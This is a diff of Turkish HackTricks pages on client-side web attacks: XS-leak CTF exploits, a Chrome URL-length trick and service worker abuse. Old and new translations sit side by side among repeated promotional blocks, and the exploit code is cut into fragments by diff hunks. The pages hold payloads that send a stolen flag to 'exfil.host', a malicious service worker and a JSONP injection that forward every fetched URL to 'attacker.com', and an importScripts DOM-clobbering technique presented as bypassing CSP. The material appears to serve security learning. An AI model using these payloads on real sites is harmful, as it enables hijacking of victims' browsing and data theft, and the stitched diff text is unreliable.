GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Exploit, [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) adresinden alınmıştır.**
**Sömürü [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) adresinden alınmıştır.**
Bu zorlukta kullanıcı binlerce karakter gönderebilir ve bayrağın içerip içermediğini kontrol etmek için karakterler bot'a geri gönderilir. Bu nedenle saldırgan, bayrağın gönderilen dize içinde olup olmadığını ölçmek için büyük miktarda karakter gönderebilir.
Bu zorlukta kullanıcı binlerce karakter gönderebilir ve eğer bayrak içeriyorsa, karakterler bot tarafından geri gönderilecektir. Bu nedenle, büyük miktarda karakter göndererek saldırgan, bayrağın gönderilen dizede olup olmadığını ölçebilir.
{% hint style="warning" %}
Başlangıçta nesne genişliği ve yüksekliğini ayarlamadım, ancak daha sonra önemli olduğunu fark ettim çünkü varsayılan boyut, yükleme süresinde fark yaratmak için çok küçüktü.
Başlangıçta, nesne genişliğini ve yüksekliğini ayarlamadım, ancak daha sonra yükleme süresinde fark yaratmak için varsayılan boyutun çok küçük olduğunu buldum.
{% endhint %}
```html
<!DOCTYPE html>
@ -114,14 +117,17 @@ main()
</html>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# performance.now örneği
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Örnek, [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api) adresinden alınmıştır**.
**Örnek [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api) adresinden alınmıştır**
```javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
document.addEventListener('DOMContentLoaded', main);
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde çalışıyor musunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# URL Maksimum Uzunluğu - İstemci Tarafı
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını yapmak** veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Kod [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) adresinden alınmıştır.
[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) adresinden kod
```html
<html>
<body></body>
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) alın.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Hizmet İşçilerini Kötüye Kullanma
# Service Worker'ları Kötüye Kullanma
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [ABONELİK PLANLARI](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
**Try Hard Security Group**
@ -24,32 +27,32 @@
## Temel Bilgiler
**Hizmet işçisi**, tarayıcınız tarafından arka planda çalıştırılan, herhangi bir web sayfasından bağımsız olarak çalışan, böylece **çevrimdışı ve arka plan işleme** yeteneklerini artıran özellikleri etkinleştiren bir betiktir. Hizmet işçileri hakkında detaylı bilgiye [buradan](https://developers.google.com/web/fundamentals/primers/service-workers) ulaşılabilir. Savunmasız bir web alanı içinde hizmet işçilerini istismar ederek, saldırganlar, o alan içindeki tüm sayfalarla kurbanın etkileşimini ele geçirebilirler.
Bir **service worker**, tarayıcınız tarafından arka planda, herhangi bir web sayfasından ayrı olarak çalışan bir betiktir. Web sayfası veya kullanıcı etkileşimi gerektirmeyen özellikleri etkinleştirerek **çevrimdışı ve arka plan işleme** yeteneklerini artırır. Service worker'lar hakkında ayrıntılı bilgi [burada](https://developers.google.com/web/fundamentals/primers/service-workers) bulunabilir. Savunmasız bir web alanında service worker'ları kötüye kullanarak, saldırganlar kurbanın o alan içindeki tüm sayfalarla etkileşimlerini kontrol edebilirler.
### Varolan Hizmet İşçilerini Kontrol Etme
### Mevcut Service Worker'ları Kontrol Etme
Varolan hizmet işçileri, **Geliştirici Araçları**'ndaki **Uygulama** sekmesindeki **Hizmet İşçileri** bölümünde kontrol edilebilir. Başka bir yöntem, daha detaylı bir görünüm için [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) adresini ziyaret etmektir.
Mevcut service worker'lar, **Geliştirici Araçları**'ndaki **Uygulama** sekmesinin **Service Workers** bölümünde kontrol edilebilir. Diğer bir yöntem ise daha ayrıntılı bir görünüm için [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) adresini ziyaret etmektir.
### İtme Bildirimleri
### Push Bildirimleri
**İtme bildirimi izinleri**, bir **hizmet işçisinin** doğrudan kullanıcı etkileşimi olmadan sunucu ile iletişim kurma yeteneğini etkiler. İzinler reddedildiğinde, sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinler verildiğinde, güvenlik riskleri artar ve potansiyel saldırıları alıp yürütme yeteneğini etkinleştirir.
**Push bildirim izinleri**, bir **service worker**'ın sunucu ile doğrudan kullanıcı etkileşimi olmadan iletişim kurma yeteneğini doğrudan etkiler. İzinler reddedilirse, service worker'ın sürekli bir tehdit oluşturma potansiyelini sınırlar. Tersine, izinlerin verilmesi, potansiyel istismarların alınmasını ve yürütülmesini sağlayarak güvenlik risklerini artırır.
## Hizmet İşçisi Oluşturarak Saldırı
## Service Worker Oluşturma Saldırısı
Bu zafiyeti sömürmek için şunları bulmanız gerekir:
Bu ığı kötüye kullanmak için şunları bulmanız gerekir:
* Sunucuya **keyfi JS** dosyaları yüklemek için bir yol ve yüklenen JS dosyasının hizmet işçisini yüklemek için bir **XSS** bulun
* **Manipüle edebileceğiniz (keyfi JS kodu ile)** savunmasız bir **JSONP isteği** ve bir **XSS** ile **JSONP'yi yükleyen bir yük** oluşturacak bir **payload** ile **zararlı bir hizmet işçisi yüklemek** için.
* Sunucuya **keyfi JS** dosyaları **yüklemek için** bir yol ve yüklenen JS dosyasının **service worker'ını yüklemek için bir XSS**
* **Çıktıyı (keyfi JS kodu ile)** **manipüle edebileceğiniz** bir **savunmasız JSONP isteği** ve **kötü niyetli bir service worker'ı yükleyecek bir yük ile JSONP'yi yüklemek için bir XSS**.
Aşağıdaki örnekte, `fetch` etkinliğini dinleyecek ve her alınan URL'yi saldırganın sunucusuna gönderecek yeni bir hizmet işçisi **kaydetmek** için gereken kodu sunacağım:
Aşağıdaki örnekte, `fetch` olayını dinleyecek ve **her alınan URL'yi saldırganın sunucusuna gönderecek** bir **yeni service worker kaydetmek için** bir kod sunacağım (bu, **sunucuya** **yüklemeniz** veya bir **savunmasız JSONP** yanıtı aracılığıyla yüklemeniz gereken koddur):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Ve işte **işçiyi kaydedecek olan kod** (uygulayabileceğiniz **XSS**'i suiistimal ederek çalıştırmanız gereken kod). Bu durumda, **saldırganın** sunucusuna bir **GET** isteği gönderilecek ve hizmet işçisinin kaydının başarılı olup olmadığı **bildirilecek**:
Ve bu, **işçiyi kaydedecek** olan koddur (bir **XSS** istismar ederek çalıştırabilmeniz gereken kod). Bu durumda, **kayıt** işleminin başarılı olup olmadığını **bildiren** bir **GET** isteği **saldırganların** sunucusuna gönderilecektir:
```javascript
<script>
window.addEventListener('load', function() {
@ -67,21 +70,21 @@ xhttp2.send();
});
</script>
```
Zararlı bir JSONP ucu söz konusu olduğunda değeri `var sw` içine koymalısınız. Örneğin:
JSONP uç noktasını istismar etme durumunda, değeri `var sw` içine koymalısınız. Örneğin:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
**Service Worker** kötüye kullanmak için çok yararlı olacak olan [**Shadow Workers**](https://shadow-workers.github.io) adında bir **C2** bulunmaktadır.
Bir **C2**, bu güvenlik açıklarını istismar etmek için **Service Workers**'a adanmış [**Shadow Workers**](https://shadow-workers.github.io) bulunmaktadır ve bu, bu güvenlik açıklarını istismar etmek için çok faydalı olacaktır.
**24 saatlik önbellek yönergesi**, bir XSS güvenlik açığı düzeltmesinden sonra en fazla 24 saat boyunca kötü niyetli veya tehlikeli bir **hizmet işçisinin (SW)** yaşamını sınırlar, çevrimiçi istemci durumu varsayılarak. Zayıflığı en aza indirmek için site işletmecileri SW betiğinin Zaman-Canlılığı (TTL)'nı düşürebilir. Geliştiricilere hızlı devre dışı bırakma için bir [**hizmet işçisi kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları da tavsiye edilir.
**24 saatlik önbellek direktifi**, kötü niyetli veya tehlikeye girmiş bir **service worker (SW)**'ın ömrünü, çevrimiçi istemci durumu varsayılarak, en fazla 24 saat ile sınırlar. Güvenliği en aza indirmek için, site operatörleri SW betiğinin Yaşam Süresi'ni (TTL) düşürebilir. Geliştiricilere ayrıca hızlı devre dışı bırakma için bir [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) oluşturmaları önerilir.
## DOM Clobbering aracılığıyla SW'de `importScripts`'in Kötüye Kullanımı
## DOM Clobbering ile bir SW'de `importScripts`'i İstismar Etme
Bir Hizmet İşçisinden çağrılan **`importScripts`** işlevi, **farklı bir etki alanından bir betiği içe aktarabilir**. Bu işlev, bir saldırganın **değiştirebileceği bir parametre** kullanılarak çağrıldığında, saldırganın **kendi etki alanındaki bir JS betiğini içe aktarmasına** ve XSS almasına olanak tanır.
Bir Service Worker'dan çağrılan **`importScripts`** fonksiyonu, **farklı bir alandan bir betik içe aktarabilir**. Eğer bu fonksiyon, bir **saldırganın** değiştirebileceği bir **parametre** kullanılarak çağrılırsa, saldırgan **kendi alanından bir JS betiği içe aktarabilir** ve XSS elde edebilir.
**Bu, CSP korumalarını bile atlar.**
**Bu, CSP korumalarını da aşar.**
**Örnek zafiyetli kod:**
**Örnek savunmasız kod:**
* **index.html**
```html
@ -99,15 +102,15 @@ self.importScripts(host + "/sw_extra.js");
```
### DOM Clobbering ile
DOM Clobbering hakkında daha fazla bilgi için şu bağlantıya bakın:
DOM Clobbering'in ne olduğu hakkında daha fazla bilgi için kontrol edin:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Eğer SW'nin **`importScripts`** çağırdığı URL/domain, **bir HTML öğesi içindeyse**, SW'nin **kendi alan adınızdan bir betik yüklemesini sağlamak için DOM Clobbering ile değiştirilebilir**.
Eğer SW'nin **`importScripts`** çağrısı yaptığı URL/domain **bir HTML öğesi içindeyse**, bu **DOM Clobbering aracılığıyla değiştirilmesi mümkündür** ve SW'yi **kendi domaininizden bir script yükleyecek şekilde ayarlayabilirsiniz**.
Bu konunun örneği için referans bağlantısına bakın.
Bunun bir örneği için referans bağlantısına bakın.
## Referanslar
@ -119,14 +122,17 @@ Bu konunun örneği için referans bağlantısına bakın.
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>
<summary>HackTricks'i Destekleyin</summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,50 +1,55 @@
# Chrome Önbelleği XSS
